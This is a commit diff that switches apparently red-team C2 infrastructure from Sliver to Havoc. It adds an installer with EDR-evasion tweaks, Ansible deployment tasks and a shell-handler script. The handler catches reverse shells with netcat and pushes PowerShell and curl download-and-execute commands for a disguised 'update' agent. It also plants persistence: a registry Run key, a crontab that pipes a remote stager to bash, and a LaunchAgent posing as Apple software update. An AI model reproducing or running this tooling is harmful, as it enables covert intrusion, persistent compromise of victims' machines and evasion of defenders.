Switching to Havoc C2
This commit is contained in:
@@ -0,0 +1,224 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Havoc C2 Framework installer with EDR evasion features
|
||||||
|
|
||||||
|
set -e
|
||||||
|
TEMP_DIR=$(mktemp -d)
|
||||||
|
LOG_FILE="/root/Tools/havoc_installer.log"
|
||||||
|
HAVOC_DIR="/root/Tools/havoc"
|
||||||
|
HAVOC_DATA_DIR="/root/Tools/havoc/data"
|
||||||
|
HAVOC_VERSION="0.5.0"
|
||||||
|
HAVOC_GITHUB="https://github.com/HavocFramework/Havoc"
|
||||||
|
GO_VERSION="1.19"
|
||||||
|
|
||||||
|
# Function to log messages
|
||||||
|
log() {
|
||||||
|
echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to generate random strings
|
||||||
|
random_string() {
|
||||||
|
local length=${1:-8}
|
||||||
|
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
|
||||||
|
}
|
||||||
|
|
||||||
|
# Install required dependencies
|
||||||
|
log "Installing dependencies..."
|
||||||
|
apt-get update >/dev/null 2>&1
|
||||||
|
apt-get install -y git golang-go make build-essential mingw-w64 nasm cmake \
|
||||||
|
ninja-build python3-pip libfontconfig1 libglu1-mesa-dev libgtest-dev \
|
||||||
|
libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \
|
||||||
|
libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev \
|
||||||
|
qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 \
|
||||||
|
libqt5websockets5-dev >/dev/null 2>&1
|
||||||
|
|
||||||
|
# Setup Go environment
|
||||||
|
log "Setting up Go environment..."
|
||||||
|
mkdir -p /root/go
|
||||||
|
export GOPATH=/root/go
|
||||||
|
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
|
||||||
|
|
||||||
|
# Clone Havoc repository
|
||||||
|
log "Cloning Havoc repository..."
|
||||||
|
if [ -d "$HAVOC_DIR" ]; then
|
||||||
|
log "Havoc directory already exists, updating..."
|
||||||
|
cd $HAVOC_DIR
|
||||||
|
git pull
|
||||||
|
else
|
||||||
|
git clone --quiet $HAVOC_GITHUB $HAVOC_DIR
|
||||||
|
cd $HAVOC_DIR
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Generate unique identifiers for EDR evasion
|
||||||
|
RANDOMIZED_BUILD_ID=$(random_string 16)
|
||||||
|
log "Using randomized build ID: $RANDOMIZED_BUILD_ID"
|
||||||
|
|
||||||
|
# Build Havoc teamserver
|
||||||
|
log "Building Havoc teamserver..."
|
||||||
|
cd $HAVOC_DIR/Teamserver
|
||||||
|
go mod download
|
||||||
|
sed -i "s/const Version = \".*\"/const Version = \"${HAVOC_VERSION}-${RANDOMIZED_BUILD_ID}\"/" pkg/common/metadata.go
|
||||||
|
make
|
||||||
|
|
||||||
|
# Build Havoc client
|
||||||
|
log "Building Havoc client..."
|
||||||
|
cd $HAVOC_DIR/Client
|
||||||
|
mkdir -p build
|
||||||
|
cd build
|
||||||
|
cmake -GNinja ..
|
||||||
|
ninja
|
||||||
|
|
||||||
|
# Generate self-signed SSL certificates for Teamserver
|
||||||
|
mkdir -p $HAVOC_DATA_DIR/certs
|
||||||
|
cd $HAVOC_DATA_DIR/certs
|
||||||
|
|
||||||
|
if [ ! -f havoc.key ] || [ ! -f havoc.crt ]; then
|
||||||
|
log "Generating self-signed SSL certificates..."
|
||||||
|
|
||||||
|
# Generate random values for certificate
|
||||||
|
COUNTRY="US"
|
||||||
|
STATE=$(random_string 8)
|
||||||
|
LOCALITY=$(random_string 8)
|
||||||
|
ORGANIZATION=$(random_string 10)
|
||||||
|
COMMON_NAME=$(random_string 12).com
|
||||||
|
|
||||||
|
# Create OpenSSL config
|
||||||
|
cat > openssl.cnf << EOF
|
||||||
|
[req]
|
||||||
|
distinguished_name = req_distinguished_name
|
||||||
|
x509_extensions = v3_req
|
||||||
|
prompt = no
|
||||||
|
|
||||||
|
[req_distinguished_name]
|
||||||
|
C = $COUNTRY
|
||||||
|
ST = $STATE
|
||||||
|
L = $LOCALITY
|
||||||
|
O = $ORGANIZATION
|
||||||
|
CN = $COMMON_NAME
|
||||||
|
|
||||||
|
[v3_req]
|
||||||
|
keyUsage = critical, digitalSignature, keyAgreement
|
||||||
|
extendedKeyUsage = serverAuth
|
||||||
|
subjectAltName = @alt_names
|
||||||
|
|
||||||
|
[alt_names]
|
||||||
|
DNS.1 = $COMMON_NAME
|
||||||
|
DNS.2 = localhost
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Generate certificate
|
||||||
|
openssl req -x509 -newkey rsa:4096 -keyout havoc.key -out havoc.crt -days 3650 -nodes -config openssl.cnf
|
||||||
|
chmod 600 havoc.key
|
||||||
|
chmod 644 havoc.crt
|
||||||
|
|
||||||
|
log "Generated SSL certificates with CN=$COMMON_NAME"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Create systemd service for Havoc Teamserver
|
||||||
|
log "Creating systemd service for Havoc Teamserver..."
|
||||||
|
cat > /etc/systemd/system/havoc.service << EOF
|
||||||
|
[Unit]
|
||||||
|
Description=Havoc C2 Teamserver
|
||||||
|
After=network.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
Type=simple
|
||||||
|
User=root
|
||||||
|
Group=root
|
||||||
|
WorkingDirectory=$HAVOC_DIR/Teamserver
|
||||||
|
ExecStart=$HAVOC_DIR/Teamserver/teamserver server --profile $HAVOC_DATA_DIR/profiles/default.yaotl
|
||||||
|
Restart=always
|
||||||
|
RestartSec=10
|
||||||
|
|
||||||
|
# Security measures
|
||||||
|
PrivateTmp=true
|
||||||
|
ProtectHome=false
|
||||||
|
NoNewPrivileges=true
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Create default Havoc profile directory
|
||||||
|
mkdir -p $HAVOC_DATA_DIR/profiles
|
||||||
|
|
||||||
|
# Create default Havoc profile
|
||||||
|
log "Creating default Havoc profile..."
|
||||||
|
cat > $HAVOC_DATA_DIR/profiles/default.yaotl << EOF
|
||||||
|
Teamserver {
|
||||||
|
Host = "0.0.0.0"
|
||||||
|
Port = 40056
|
||||||
|
|
||||||
|
Build {
|
||||||
|
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
|
||||||
|
Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
|
||||||
|
Nasm = "/usr/bin/nasm"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Operators {
|
||||||
|
admin {
|
||||||
|
Password = "$(random_string 12)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Listeners {
|
||||||
|
http {
|
||||||
|
Name = "http"
|
||||||
|
KillDate = "2030-01-01"
|
||||||
|
WorkingHours = "0:00-23:59"
|
||||||
|
Hosts = ["0.0.0.0"]
|
||||||
|
HostBind = "0.0.0.0"
|
||||||
|
HostRotation = "round-robin"
|
||||||
|
Port = 8080
|
||||||
|
PortBind = 8080
|
||||||
|
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
|
||||||
|
Headers = ["Accept: */*"]
|
||||||
|
Uris = ["/api/v1", "/dashboard"]
|
||||||
|
Secure = false
|
||||||
|
}
|
||||||
|
|
||||||
|
https {
|
||||||
|
Name = "https"
|
||||||
|
KillDate = "2030-01-01"
|
||||||
|
WorkingHours = "0:00-23:59"
|
||||||
|
Hosts = ["0.0.0.0"]
|
||||||
|
HostBind = "0.0.0.0"
|
||||||
|
HostRotation = "round-robin"
|
||||||
|
Port = 443
|
||||||
|
PortBind = 443
|
||||||
|
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
|
||||||
|
Headers = ["Accept: */*"]
|
||||||
|
Uris = ["/api/v2", "/content"]
|
||||||
|
Secure = true
|
||||||
|
Cert = "$HAVOC_DATA_DIR/certs/havoc.crt"
|
||||||
|
Key = "$HAVOC_DATA_DIR/certs/havoc.key"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Demon {
|
||||||
|
Sleep = 2
|
||||||
|
SleepJitter = 50
|
||||||
|
|
||||||
|
Injection {
|
||||||
|
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
|
||||||
|
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Set proper permissions
|
||||||
|
log "Setting proper permissions..."
|
||||||
|
chmod 755 $HAVOC_DIR/Teamserver/teamserver
|
||||||
|
chmod 755 $HAVOC_DIR/Client/havoc
|
||||||
|
|
||||||
|
# Create symlinks to executables in /usr/local/bin
|
||||||
|
ln -sf $HAVOC_DIR/Teamserver/teamserver /usr/local/bin/havoc-teamserver
|
||||||
|
ln -sf $HAVOC_DIR/Client/havoc /usr/local/bin/havoc-client
|
||||||
|
|
||||||
|
# Enable and start Havoc service
|
||||||
|
log "Enabling and starting Havoc service..."
|
||||||
|
systemctl daemon-reload
|
||||||
|
systemctl enable havoc
|
||||||
|
systemctl start havoc
|
||||||
|
|
||||||
|
log "Havoc C2 installation completed!"
|
||||||
@@ -0,0 +1,218 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Automated shell handler for catching and upgrading shells to Havoc C2 agents
|
||||||
|
|
||||||
|
# Configuration
|
||||||
|
LISTEN_PORT=4444
|
||||||
|
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
|
||||||
|
HAVOC_PORT=40056 # Havoc default Teamserver port
|
||||||
|
HAVOC_USER="admin"
|
||||||
|
HAVOC_DIR="/root/Tools/havoc"
|
||||||
|
WINDOWS_PAYLOAD="windows/agent_win.exe"
|
||||||
|
LINUX_PAYLOAD="linux/agent_linux"
|
||||||
|
|
||||||
|
# Set secure permissions
|
||||||
|
umask 077
|
||||||
|
|
||||||
|
# Logging function (minimal and encrypted)
|
||||||
|
log() {
|
||||||
|
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
|
||||||
|
local message="$1"
|
||||||
|
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc
|
||||||
|
}
|
||||||
|
|
||||||
|
# Detect OS function
|
||||||
|
detect_os() {
|
||||||
|
local connection=$1
|
||||||
|
|
||||||
|
# Send commands to determine OS
|
||||||
|
echo "echo \$OSTYPE" > $connection
|
||||||
|
sleep 1
|
||||||
|
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
|
||||||
|
|
||||||
|
if [[ $ostype == *"win"* ]]; then
|
||||||
|
echo "windows"
|
||||||
|
elif [[ $ostype == *"darwin"* ]]; then
|
||||||
|
echo "macos"
|
||||||
|
elif [[ $ostype == *"linux"* ]]; then
|
||||||
|
echo "linux"
|
||||||
|
else
|
||||||
|
# Try Windows-specific command
|
||||||
|
echo "ver" > $connection
|
||||||
|
sleep 1
|
||||||
|
winver=$(cat $connection | grep -i "microsoft windows")
|
||||||
|
|
||||||
|
if [[ -n "$winver" ]]; then
|
||||||
|
echo "windows"
|
||||||
|
else
|
||||||
|
# Default to Linux if we can't determine
|
||||||
|
echo "linux"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Get Havoc password
|
||||||
|
get_havoc_password() {
|
||||||
|
# Extract password from Havoc profile
|
||||||
|
HAVOC_PASS=$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)
|
||||||
|
echo $HAVOC_PASS
|
||||||
|
}
|
||||||
|
|
||||||
|
# Deploy appropriate Havoc agent based on OS
|
||||||
|
deploy_agent() {
|
||||||
|
local connection=$1
|
||||||
|
local os_type=$2
|
||||||
|
|
||||||
|
log "Deploying Havoc agent for detected OS: $os_type"
|
||||||
|
|
||||||
|
# Get the latest payload paths from manifest
|
||||||
|
local manifest="/root/Tools/havoc/payloads/manifest.json"
|
||||||
|
if [ -f "$manifest" ]; then
|
||||||
|
if [ "$os_type" == "windows" ]; then
|
||||||
|
WIN_EXE=$(jq -r '.windows_exe' "$manifest")
|
||||||
|
PAYLOAD_PATH="/root/Tools/havoc/payloads/windows/$WIN_EXE"
|
||||||
|
elif [ "$os_type" == "linux" ]; then
|
||||||
|
LINUX_BIN=$(jq -r '.linux_binary' "$manifest")
|
||||||
|
PAYLOAD_PATH="/root/Tools/havoc/payloads/linux/$LINUX_BIN"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
# Use default paths if manifest doesn't exist
|
||||||
|
if [ "$os_type" == "windows" ]; then
|
||||||
|
PAYLOAD_PATH="/root/Tools/havoc/payloads/windows/agent_win.exe"
|
||||||
|
elif [ "$os_type" == "linux" ]; then
|
||||||
|
PAYLOAD_PATH="/root/Tools/havoc/payloads/linux/agent_linux"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
case $os_type in
|
||||||
|
windows)
|
||||||
|
# Setup Python HTTP server for payload delivery
|
||||||
|
mkdir -p /tmp/havoc_payloads
|
||||||
|
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update.exe
|
||||||
|
cd /tmp/havoc_payloads
|
||||||
|
python3 -m http.server 8888 &
|
||||||
|
HTTP_PID=$!
|
||||||
|
|
||||||
|
# Use PowerShell to download and execute
|
||||||
|
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('http://$C2_HOST:8888/update.exe', \$env:TEMP+'\\update.exe'); Start-Process \$env:TEMP+'\\update.exe'" > $connection
|
||||||
|
sleep 10
|
||||||
|
|
||||||
|
# Cleanup HTTP server
|
||||||
|
kill $HTTP_PID
|
||||||
|
;;
|
||||||
|
linux)
|
||||||
|
# Setup Python HTTP server for payload delivery
|
||||||
|
mkdir -p /tmp/havoc_payloads
|
||||||
|
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
|
||||||
|
chmod +x /tmp/havoc_payloads/update
|
||||||
|
cd /tmp/havoc_payloads
|
||||||
|
python3 -m http.server 8888 &
|
||||||
|
HTTP_PID=$!
|
||||||
|
|
||||||
|
# Use curl to download and execute
|
||||||
|
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
|
||||||
|
sleep 10
|
||||||
|
|
||||||
|
# Cleanup HTTP server
|
||||||
|
kill $HTTP_PID
|
||||||
|
;;
|
||||||
|
macos)
|
||||||
|
# For macOS, we'll attempt to use the Linux payload
|
||||||
|
mkdir -p /tmp/havoc_payloads
|
||||||
|
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
|
||||||
|
chmod +x /tmp/havoc_payloads/update
|
||||||
|
cd /tmp/havoc_payloads
|
||||||
|
python3 -m http.server 8888 &
|
||||||
|
HTTP_PID=$!
|
||||||
|
|
||||||
|
# Use curl to download and execute
|
||||||
|
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
|
||||||
|
sleep 10
|
||||||
|
|
||||||
|
# Cleanup HTTP server
|
||||||
|
kill $HTTP_PID
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
log "Havoc agent deployment command sent"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Establish persistence based on OS
|
||||||
|
establish_persistence() {
|
||||||
|
local connection=$1
|
||||||
|
local os_type=$2
|
||||||
|
|
||||||
|
log "Attempting to establish persistence on $os_type"
|
||||||
|
|
||||||
|
case $os_type in
|
||||||
|
windows)
|
||||||
|
# Windows persistence via registry run key
|
||||||
|
echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
|
||||||
|
;;
|
||||||
|
linux)
|
||||||
|
# Linux persistence via crontab
|
||||||
|
echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/linux_stager.sh | bash') | crontab -" > $connection
|
||||||
|
;;
|
||||||
|
macos)
|
||||||
|
# macOS persistence via launch agent
|
||||||
|
echo "mkdir -p ~/Library/LaunchAgents" > $connection
|
||||||
|
echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/linux_stager.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||||
|
echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
log "Persistence commands sent for $os_type"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Main shell handler loop
|
||||||
|
handle_connections() {
|
||||||
|
log "Shell handler started on port $LISTEN_PORT"
|
||||||
|
|
||||||
|
# Use mkfifo for bidirectional communication
|
||||||
|
PIPE_PATH="/tmp/shell_handler_pipe"
|
||||||
|
trap 'rm -f $PIPE_PATH' EXIT
|
||||||
|
|
||||||
|
while true; do
|
||||||
|
# Clean up existing pipe
|
||||||
|
rm -f $PIPE_PATH
|
||||||
|
mkfifo $PIPE_PATH
|
||||||
|
|
||||||
|
log "Waiting for incoming connection..."
|
||||||
|
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
|
||||||
|
NC_PID=$!
|
||||||
|
|
||||||
|
# Wait for connection to be established
|
||||||
|
while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
|
||||||
|
sleep 1
|
||||||
|
# Check if nc is still running
|
||||||
|
if ! kill -0 $NC_PID 2>/dev/null; then
|
||||||
|
log "Netcat process died, restarting..."
|
||||||
|
rm -f $PIPE_PATH $PIPE_PATH.output
|
||||||
|
continue 2 # Restart the outer loop
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
log "Connection received, detecting OS..."
|
||||||
|
DETECTED_OS=$(detect_os "$PIPE_PATH.output")
|
||||||
|
log "Detected OS: $DETECTED_OS"
|
||||||
|
|
||||||
|
# Deploy Havoc agent
|
||||||
|
deploy_agent "$PIPE_PATH" "$DETECTED_OS"
|
||||||
|
sleep 5
|
||||||
|
|
||||||
|
# Establish persistence
|
||||||
|
establish_persistence "$PIPE_PATH" "$DETECTED_OS"
|
||||||
|
sleep 5
|
||||||
|
|
||||||
|
# Keep connection alive for manual operation if needed
|
||||||
|
log "Havoc agent deployed, maintaining shell connection..."
|
||||||
|
echo "echo 'Shell upgraded to Havoc agent. This connection will remain active for manual operation.'" > $PIPE_PATH
|
||||||
|
|
||||||
|
# Wait for connection to close
|
||||||
|
wait $NC_PID
|
||||||
|
log "Connection closed, cleaning up and restarting listener..."
|
||||||
|
rm -f $PIPE_PATH.output
|
||||||
|
done
|
||||||
|
}
|
||||||
|
|
||||||
|
# Start the shell handler
|
||||||
|
handle_connections
|
||||||
+86
-106
@@ -1,5 +1,5 @@
|
|||||||
---
|
---
|
||||||
# Common tasks for configuring C2 server with EDR evasion
|
# Common tasks for configuring C2 server with Havoc C2 and EDR evasion
|
||||||
# Shared across all providers
|
# Shared across all providers
|
||||||
|
|
||||||
- name: Update apt cache
|
- name: Update apt cache
|
||||||
@@ -56,6 +56,30 @@
|
|||||||
- dovecot-managesieved
|
- dovecot-managesieved
|
||||||
- yq
|
- yq
|
||||||
- build-essential
|
- build-essential
|
||||||
|
# Additional Havoc C2 dependencies
|
||||||
|
- mingw-w64
|
||||||
|
- nasm
|
||||||
|
- cmake
|
||||||
|
- ninja-build
|
||||||
|
- libfontconfig1
|
||||||
|
- libglu1-mesa-dev
|
||||||
|
- libgtest-dev
|
||||||
|
- libspdlog-dev
|
||||||
|
- libboost-all-dev
|
||||||
|
- libncurses5-dev
|
||||||
|
- libgdbm-dev
|
||||||
|
- libssl-dev
|
||||||
|
- libreadline-dev
|
||||||
|
- libffi-dev
|
||||||
|
- libsqlite3-dev
|
||||||
|
- libbz2-dev
|
||||||
|
- mesa-common-dev
|
||||||
|
- qtbase5-dev
|
||||||
|
- qtchooser
|
||||||
|
- qt5-qmake
|
||||||
|
- qtbase5-dev-tools
|
||||||
|
- libqt5websockets5
|
||||||
|
- libqt5websockets5-dev
|
||||||
state: present
|
state: present
|
||||||
|
|
||||||
- name: Create directories for operational scripts
|
- name: Create directories for operational scripts
|
||||||
@@ -66,26 +90,27 @@
|
|||||||
owner: root
|
owner: root
|
||||||
group: root
|
group: root
|
||||||
with_items:
|
with_items:
|
||||||
- Tools
|
- /root/Tools
|
||||||
- beacons
|
- /root/Tools/beacons
|
||||||
- payloads
|
- /root/Tools/payloads
|
||||||
|
|
||||||
- name: Copy operational scripts
|
- name: Copy operational scripts
|
||||||
copy:
|
copy:
|
||||||
src: "{{ item }}"
|
src: "{{ item }}"
|
||||||
dest: "Tools/{{ item | basename }}"
|
dest: "/root/Tools/{{ item | basename }}"
|
||||||
mode: '0700'
|
mode: '0700'
|
||||||
owner: root
|
owner: root
|
||||||
group: root
|
group: root
|
||||||
with_items:
|
with_items:
|
||||||
- ../files/clean-logs.sh
|
- "../files/clean-logs.sh"
|
||||||
- ../files/secure-exit.sh
|
- "../files/secure-exit.sh"
|
||||||
- ../files/sliver_randomizer.sh
|
- "../files/havoc_installer.sh"
|
||||||
|
- "../files/havoc_shell_handler.sh"
|
||||||
|
|
||||||
- name: Copy post-install script
|
- name: Copy post-install script
|
||||||
copy:
|
copy:
|
||||||
src: "../files/post_install_c2.sh"
|
src: "../files/post_install_c2.sh"
|
||||||
dest: "Tools/post_install_c2.sh"
|
dest: "/root/Tools/post_install_c2.sh"
|
||||||
mode: '0700'
|
mode: '0700'
|
||||||
owner: root
|
owner: root
|
||||||
group: root
|
group: root
|
||||||
@@ -93,7 +118,7 @@
|
|||||||
- name: Copy port randomization script
|
- name: Copy port randomization script
|
||||||
copy:
|
copy:
|
||||||
src: "../files/randomize_ports.sh"
|
src: "../files/randomize_ports.sh"
|
||||||
dest: "Tools/randomize_ports.sh"
|
dest: "/root/Tools/randomize_ports.sh"
|
||||||
mode: '0700'
|
mode: '0700'
|
||||||
owner: root
|
owner: root
|
||||||
group: root
|
group: root
|
||||||
@@ -106,7 +131,7 @@
|
|||||||
================================================================
|
================================================================
|
||||||
|
|
||||||
To complete your setup with SSL certificates, run:
|
To complete your setup with SSL certificates, run:
|
||||||
Tools/post_install_c2.sh
|
/root/Tools/post_install_c2.sh
|
||||||
|
|
||||||
This script will guide you through:
|
This script will guide you through:
|
||||||
- Setting up Let's Encrypt certificates
|
- Setting up Let's Encrypt certificates
|
||||||
@@ -115,7 +140,7 @@
|
|||||||
- Displaying DNS configuration recommendations
|
- Displaying DNS configuration recommendations
|
||||||
|
|
||||||
For enhanced OPSEC, you can also randomize ports:
|
For enhanced OPSEC, you can also randomize ports:
|
||||||
Tools/randomize_ports.sh
|
/root/Tools/randomize_ports.sh
|
||||||
|
|
||||||
Run these after you've configured your DNS records to point to this server.
|
Run these after you've configured your DNS records to point to this server.
|
||||||
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
|
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
|
||||||
@@ -123,10 +148,37 @@
|
|||||||
owner: root
|
owner: root
|
||||||
group: root
|
group: root
|
||||||
|
|
||||||
- name: Create main beacon generation script
|
- name: Remove any existing Sliver or Havoc
|
||||||
|
file:
|
||||||
|
path: "{{ item }}"
|
||||||
|
state: absent
|
||||||
|
with_items:
|
||||||
|
- "/usr/local/bin/sliver"
|
||||||
|
- "/usr/local/bin/sliver-server"
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Stop existing Sliver service if running
|
||||||
|
systemd:
|
||||||
|
name: sliver
|
||||||
|
state: stopped
|
||||||
|
enabled: no
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Install Havoc C2 Framework
|
||||||
|
shell: "/root/Tools/havoc_installer.sh"
|
||||||
|
args:
|
||||||
|
creates: "/root/Tools/havoc/Teamserver/teamserver"
|
||||||
|
register: havoc_installation_result
|
||||||
|
|
||||||
|
- name: Display Havoc installation output
|
||||||
|
debug:
|
||||||
|
var: havoc_installation_result.stdout_lines
|
||||||
|
when: havoc_installation_result.stdout_lines is defined
|
||||||
|
|
||||||
|
- name: Create Havoc payload generation script
|
||||||
template:
|
template:
|
||||||
src: "../templates/generate_evasive_beacons.sh.j2"
|
src: "../templates/generate_havoc_payloads.sh.j2"
|
||||||
dest: "Tools/generate_evasive_beacons.sh"
|
dest: "/root/Tools/generate_havoc_payloads.sh"
|
||||||
mode: '0700'
|
mode: '0700'
|
||||||
owner: root
|
owner: root
|
||||||
group: root
|
group: root
|
||||||
@@ -134,7 +186,7 @@
|
|||||||
- name: Create Linux loader script template
|
- name: Create Linux loader script template
|
||||||
template:
|
template:
|
||||||
src: "../templates/linux_loader.sh.j2"
|
src: "../templates/linux_loader.sh.j2"
|
||||||
dest: "Tools/linux_loader.template"
|
dest: "/root/Tools/linux_loader.template"
|
||||||
mode: '0644'
|
mode: '0644'
|
||||||
owner: root
|
owner: root
|
||||||
group: root
|
group: root
|
||||||
@@ -142,31 +194,15 @@
|
|||||||
- name: Create Windows PowerShell loader template
|
- name: Create Windows PowerShell loader template
|
||||||
template:
|
template:
|
||||||
src: "../templates/windows_loader.ps1.j2"
|
src: "../templates/windows_loader.ps1.j2"
|
||||||
dest: "Tools/windows_loader.template"
|
dest: "/root/Tools/windows_loader.template"
|
||||||
mode: '0644'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
|
|
||||||
- name: Create manifest template
|
|
||||||
template:
|
|
||||||
src: "../templates/manifest.json.j2"
|
|
||||||
dest: "Tools/manifest.template"
|
|
||||||
mode: '0644'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
|
|
||||||
- name: Create reference file template
|
|
||||||
template:
|
|
||||||
src: "../templates/reference.txt.j2"
|
|
||||||
dest: "Tools/reference.template"
|
|
||||||
mode: '0644'
|
mode: '0644'
|
||||||
owner: root
|
owner: root
|
||||||
group: root
|
group: root
|
||||||
|
|
||||||
- name: Create beacon server script from template
|
- name: Create beacon server script from template
|
||||||
template:
|
template:
|
||||||
src: "../templates/serve-beacons.sh.j2"
|
src: "../templates/serve-havoc-payloads.sh.j2"
|
||||||
dest: "Tools/serve-beacons.sh"
|
dest: "/root/Tools/serve-beacons.sh"
|
||||||
mode: '0700'
|
mode: '0700'
|
||||||
owner: root
|
owner: root
|
||||||
group: root
|
group: root
|
||||||
@@ -175,91 +211,35 @@
|
|||||||
domain: "{{ domain }}"
|
domain: "{{ domain }}"
|
||||||
redirector_port: "{{ redirector_port | default('443') }}"
|
redirector_port: "{{ redirector_port | default('443') }}"
|
||||||
|
|
||||||
- name: Remove standard Sliver if installed
|
|
||||||
apt:
|
|
||||||
name: sliver
|
|
||||||
state: absent
|
|
||||||
ignore_errors: yes
|
|
||||||
|
|
||||||
- name: Stop standard Sliver service if running
|
|
||||||
systemd:
|
|
||||||
name: sliver
|
|
||||||
state: stopped
|
|
||||||
enabled: no
|
|
||||||
ignore_errors: yes
|
|
||||||
|
|
||||||
- name: Run Sliver randomization for EDR evasion
|
|
||||||
shell: Tools/sliver_randomizer.sh
|
|
||||||
args:
|
|
||||||
creates: /usr/local/bin/sliver-server
|
|
||||||
register: randomization_result
|
|
||||||
|
|
||||||
- name: Display Sliver randomizer output
|
|
||||||
debug:
|
|
||||||
var: randomization_result.stdout_lines
|
|
||||||
when: randomization_result.stdout_lines is defined
|
|
||||||
|
|
||||||
- name: Create custom Sliver service file
|
|
||||||
template:
|
|
||||||
src: "../templates/sliver-server.service.j2"
|
|
||||||
dest: /etc/systemd/system/sliver.service
|
|
||||||
mode: '0644'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
|
|
||||||
- name: Enable and start custom Sliver service
|
|
||||||
systemd:
|
|
||||||
name: sliver
|
|
||||||
state: started
|
|
||||||
enabled: yes
|
|
||||||
daemon_reload: yes
|
|
||||||
|
|
||||||
- name: Wait for Sliver to initialize
|
|
||||||
pause:
|
|
||||||
seconds: 15
|
|
||||||
|
|
||||||
- name: Check if Sliver operator config exists
|
|
||||||
stat:
|
|
||||||
path: /root/admin.cfg
|
|
||||||
register: operator_config
|
|
||||||
|
|
||||||
- name: Create new operator if needed
|
|
||||||
shell: |
|
|
||||||
/usr/local/bin/sliver-server operator --name admin --lhost {{ ansible_host }} --save /root/admin.cfg
|
|
||||||
args:
|
|
||||||
creates: /root/admin.cfg
|
|
||||||
when: not operator_config.stat.exists
|
|
||||||
|
|
||||||
- name: Run port randomization if enabled
|
- name: Run port randomization if enabled
|
||||||
include_tasks: port_randomization.yml
|
include_tasks: port_randomization.yml
|
||||||
when: randomize_ports | default(false) | bool
|
when: randomize_ports | default(false) | bool
|
||||||
|
|
||||||
- name: Generate beacons with redirector integration
|
- name: Generate Havoc payloads
|
||||||
shell: |
|
shell: "/root/Tools/generate_havoc_payloads.sh"
|
||||||
Tools/generate_evasive_beacons.sh
|
|
||||||
args:
|
args:
|
||||||
creates: /root/beacons/reference.txt
|
creates: "/root/Tools/havoc/payloads/manifest.json"
|
||||||
|
register: payload_generation_result
|
||||||
environment:
|
environment:
|
||||||
